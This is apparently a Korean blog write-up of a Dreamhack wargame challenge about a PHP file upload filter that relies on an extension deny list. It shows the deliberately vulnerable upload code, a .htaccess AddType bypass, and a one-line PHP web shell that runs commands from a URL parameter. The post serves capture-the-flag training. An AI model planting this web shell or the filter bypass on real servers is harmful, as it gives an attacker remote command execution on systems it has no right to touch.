https://dreamhack.io/wargame/challenges/418
난이도: Level 1
src/upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
업로드 PHP 파일 내용을 보면, 업로드하려는 파일의 확장자가 php 일 때 업로드가 안되도록 막아놓았습니다. 하지만, .htaccess 파일을 활용하면 이를 우회할 수 있습니다.
.htaccess
AddType application/x-httpd-php .ext
.htaccess 파일에 AddType application/x-httpd-php .ext를 추가한 후, .htaccess 파일을 업로드합니다.
webshell.ext
<?php
system($_GET['cmd']);
?>
업로드가 완료되었다면, 웹 서버는 .ext 확장자를 .php 파일로 인식하게 되고 webshell.ext 파일을 업로드하여 웹셸을 실행시킬 수 있습니다.
'DreamHack' 카테고리의 다른 글
[DreamHack] sql injection bypass WAF Advanced (0) | 2023.08.09 |
---|---|
[DreamHack] sql injection bypass WAF (0) | 2023.08.08 |
[DreamHack] CSRF Advanced (0) | 2023.08.08 |
[DreamHack] ex-reg-ex (0) | 2023.08.08 |
[DreamHack] Flying Chars (0) | 2023.08.08 |